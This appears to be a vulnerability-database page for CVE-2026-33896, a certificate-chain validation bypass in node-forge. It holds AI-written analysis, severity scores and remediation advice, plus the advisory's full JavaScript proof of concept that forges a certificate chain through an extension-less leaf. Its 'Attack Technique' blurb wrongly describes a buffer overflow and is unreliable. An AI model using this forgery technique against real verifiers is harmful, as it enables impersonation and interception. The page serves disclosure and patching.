Skip to main content

node-forge CVE-2026-33896

CRITICAL
Improper Certificate Validation (CWE-295)
2026-03-26 https://github.com/digitalbazaar/forge
9.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain extension-less valid leaf cert
  2. Delivery
    Sign victim cert with leaf key
  3. Exploit
    Present forged chain to node-forge verifier
  4. Execution
    basicConstraints check skipped
  5. Persist
    Chain accepted as trusted
  6. Impact
    Impersonate target / MITM traffic

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V12 - Secure Communication Certificate validation
Exploitation Conditions

Two concrete prerequisites must hold: (1) the attacker possesses a valid end-entity/leaf certificate, chaining to a root the victim trusts, that contains NEITHER a basicConstraints extension NOR a keyUsage extension - if either is present (e.g. basicConstraints cA=false, or keyUsage without keyCertSign) the chain is correctly rejected; and (2) the target application uses node-forge <= 1.3.3 and calls pki.verifyCertificateChain() to make trust decisions (custom PKI, certificate pinning, S/MIME or PKCS#7 signature verification, IoT device-cert validation) rather than the platform's native TLS stack. Limiting factors: most public CAs issue leaf certificates WITH basicConstraints and keyUsage by default, so a usable extension-less leaf is not trivially obtained; exploitation requires no authentication to the victim and no user interaction, but it does require sourcing the specific malformed-but-valid leaf and a node-forge-based verifier.

Impact

Signals are mixed and should be weighed rather than taken from the headline 9.1. The reporter's CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) and SSVC Technical Impact: total reflect that successful exploitation fully defeats certificate-based authentication, enabling impersonation and MITM with high confidentiality and integrity impact and no availability impact. However, SSVC marks Automatable: no and Exploitation: poc (not active), EPSS is very low at 0.02% (4th percentile), and it is not in CISA KEV. The practical bar is higher than AC:L implies: the attacker must obtain a valid leaf certificate that lacks BOTH basicConstraints and keyUsage (most CAs add these by default), and the target must rely on node-forge's verifyCertificateChain() rather than a native TLS stack - so I assess AC:H. Net: a genuinely serious authentication-bypass primitive for the population of node-forge-based custom PKI consumers, but low likelihood of broad, automated, opportunistic exploitation; prioritize patching where node-forge makes trust decisions, treat as lower urgency where it is used only for parsing/encoding.

Exploit ScenarioDerived

An attacker obtains a normal TLS/leaf certificate that happens to lack basicConstraints and keyUsage, then uses its private key to sign a certificate for a target identity such as victim.example.com. They present the forged chain (victim -> attacker leaf -> trusted root) to an application that validates with node-forge's verifyCertificateChain(), which accepts the leaf as an intermediate CA and enables impersonation or man-in-the-middle. A complete working PoC is published in the advisory, so no exploit development is required.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv5 – Jun 30, 2026

Certificate chain spoofing in node-forge (npm) <= 1.3.3 lets an attacker present any non-CA leaf certificate as a trusted intermediate CA, because pki.verifyCertificateChain() skips RFC 5280 basicConstraints enforcement when a certificate carries neither the basicConstraints nor the keyUsage extension. An attacker holding such a leaf certificate can sign certificates for arbitrary identities and have node-forge accept the forged chain, defeating authentication for any application relying on it for custom PKI, S/MIME, PKCS#7, or device-certificate validation. Rated CVSS 9.1 by the reporter and fixed in 1.4.0; publicly available exploit code exists (full PoC in the GHSA), but EPSS is only 0.02% and it is not on CISA KEV.

Earlier versions of this analysis (4)
v4 Jun 30, 2026 - 03:54 cvss changed CVSS 9.1

Certificate-chain verification bypass in the node-forge JavaScript crypto library lets a non-CA leaf certificate impersonate an intermediate CA: pki.verifyCertificateChain() skips RFC 5280 basicConstraints/keyUsage enforcement when an intermediate certificate carries neither extension, so any leaf certificate can sign certificates for arbitrary domains and have the forged chain accepted. Any application using node-forge for custom PKI, certificate pinning, S/MIME or PKCS#7, or IoT certificate validation is affected (CWE-295). A complete proof-of-concept is published, so publicly available exploit code exists, though there is no public exploit identified as actively used and EPSS risk is very low (0.02%).

v3 Jun 30, 2026 - 03:53 cvss changed CVSS 9.1

Certificate-chain validation bypass in the node-forge JavaScript crypto library (pkg:npm/node-forge) lets any non-CA leaf certificate act as an intermediate CA. pki.verifyCertificateChain() skips RFC 5280 basicConstraints enforcement when an intermediate certificate lacks BOTH the basicConstraints and keyUsage extensions, so an attacker holding any CA-issued leaf certificate without those extensions can sign certificates for arbitrary domains and have node-forge accept the forged chain. A full proof-of-concept is published (SSVC: poc) but there is no public exploit identified as actively used; EPSS is very low at 0.02% (4th percentile), and a vendor fix commit plus Red Hat errata are available.

v2 Jun 30, 2026 - 03:53 cvss changed CVSS 9.1

Certificate chain verification bypass in node-forge (the node-forge npm package, all versions <= 1.3.3) allows an attacker holding any ordinary leaf certificate that omits both the basicConstraints and keyUsage extensions to act as an intermediate CA and forge certificates for arbitrary identities. Because pki.verifyCertificateChain() skips both CA-authorization checks when neither extension is present, applications relying on node-forge for chain validation will accept the forged chain, enabling impersonation and authentication bypass. Publicly available exploit code exists (a working PoC is included in the GHSA advisory and committed as a regression test), EPSS is very low (0.02%), and SSVC rates exploitation as 'poc' with total technical impact.

v1 Mar 26, 2026 - 22:16 CVSS 7.4

The node-forge npm library fails to enforce RFC 5280 basicConstraints validation in its verifyCertificateChain() function, allowing any leaf certificate without basicConstraints and keyUsage extensions to sign other certificates that node-forge accepts as valid. Attackers holding any valid leaf certificate (e.g., a standard TLS certificate) lacking these extensions can forge certificates for arbitrary domains, bypassing certificate chain validation in applications using node-forge for custom PKI implementations, S/MIME verification, or IoT device authentication. A complete proof-of-concept exploit is publicly available demonstrating successful chain verification bypass. CVSS score of 7.4 reflects network-accessible attack vector with high complexity but no authentication required.

RemediationAI

Primary fix: upgrade node-forge to 1.4.0 or later (Vendor-released patch: 1.4.0), which adds an explicit rejection when a non-leaf certificate is missing basicConstraints; the upstream change is commit 2e492832fb25227e6b647cbe1ac981c123171e90 (https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90). Update transitive dependencies too, since node-forge is often pulled in indirectly, and on Red Hat systems apply the relevant errata (RHSA-2026:13826, RHSA-2026:24761, RHSA-2026:9742). If you cannot upgrade immediately, the actionable compensating control is to stop trusting node-forge's chain verification for authentication: before relying on verifyCertificateChain()'s result, enforce that every intermediate in an accepted chain explicitly carries basicConstraints cA=TRUE and keyUsage keyCertSign (reject otherwise), or move trust decisions to the platform's native TLS/X.509 validator; the trade-off is that strict basicConstraints enforcement may reject legacy or misissued certificates that previously validated. Reference GHSA-2328-f5f3-gj25 and the patch commit above.

Affected Packages

npm node-forge fix: 1.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

node-forge is a pure-JavaScript TLS/crypto and PKI toolkit widely used in Node.js and browser apps for X.509 handling, S/MIME, PKCS#7/#12, and custom certificate validation (CPE pkg:npm/node-forge). The flaw is a CWE-295 Improper Certificate Validation in lib/x509.js verifyCertificateChain() (around lines 3147-3199): CA authorization is enforced by two independent guards - the keyUsage/keyCertSign check gated on keyUsageExt ! null, and the basicConstraints.cA check gated on bcExt ! null. When an intermediate has neither extension, both guards short-circuit and the certificate is accepted as a CA. This violates RFC 5280 Section 6.1.4 step (k), which requires a v3 certificate used as a CA to carry basicConstraints with cA=TRUE. It is the same vulnerability class as CVE-2014-0092 (GnuTLS), CVE-2015-1793 (OpenSSL alternative-chain bypass), and CVE-2020-0601 (Windows CryptoAPI), and is distinct from the earlier node-forge issues CVE-2025-12816 and CVE-2025-66030/66031.

Know when OpenSSL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 7.4 HIGH

Network-reachable trust decision with no auth or interaction (PR:N/UI:N), but AC:H since it needs an extension-less trusted leaf and a node-forge verifier; high C/I from impersonation, no availability impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Red Hat 7.4 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

8
Analysis Updated
Jun 30, 2026 - 03:58 vuln.today
v5 - CVSS changed
Analysis Updated
Jun 30, 2026 - 03:54 vuln.today
v4 - CVSS changed
Analysis Updated
Jun 30, 2026 - 03:53 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 30, 2026 - 03:53 vuln.today
v2 - CVSS changed
Severity Changed
Jun 30, 2026 - 03:24 NVD
HIGH CRITICAL
CVSS changed
Jun 30, 2026 - 03:24 NVD
7.4 (HIGH) 9.1 (CRITICAL)
Patch released
Mar 26, 2026 - 22:16 nvd
Patch available
CVE Published
Mar 26, 2026 - 22:05 nvd
HIGH 7.4

DescriptionNVD

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires: > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

javascript
const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root - NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension - NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results:

  • Certificate with NO extensions: ACCEPTED as CA (vulnerable - violates RFC 5280)
  • Certificate with basicConstraints.cA=false: correctly rejected
  • Certificate with keyUsage (no keyCertSign): correctly rejected
  • Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for:

  • Custom PKI / certificate pinning implementations
  • S/MIME / PKCS#7 signature verification
  • IoT device certificate validation
  • Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as:

  • CVE-2014-0092 (GnuTLS) - certificate verification bypass
  • CVE-2015-1793 (OpenSSL) - alternative chain verification bypass
  • CVE-2020-0601 (Windows CryptoAPI) - crafted certificate acceptance

Not a Duplicate

This is distinct from:

  • CVE-2025-12816 (ASN.1 parser desynchronization - different code path)
  • CVE-2025-66030/66031 (DoS and integer overflow - different issue class)
  • GitHub issue #1049 (null subject/issuer - different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

javascript
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

  • 2026-03-10: Report submitted via GitHub Security Advisory
  • 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) - doruk.ch

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 183 npm packages depend on node-forge (80 direct, 105 indirect)

Ecosystem-wide dependent count for version 1.4.0.

Executive ViewAI

Why It Matters

node-forge (npm package) contains a critical vulnerability in certificate validation that allows attackers to forge trusted certificates, defeating authentication controls. This impacts organizations using node-forge for certificate-based authentication, device validation, or PKI systems. Leadership should prioritize immediate patching to prevent authentication bypass attacks.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 96% exploitable
Prevalence
High
top-tier npm crypto library, millions of weekly downloads, often transitive
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A buffer overflow occurs when a program writes more data to a memory buffer than it was allocated to hold, causing the excess data to spill into adjacent memory regions.

Affected Products (CPE)NVD

pkg:npm/node-forge
CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2021-3711 CRITICAL POC
9.8 Aug 24

In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2022-2068 HIGH
7.3 Jun 21

In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas

CVE-2015-4000 LOW POC
3.7 May 21

The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy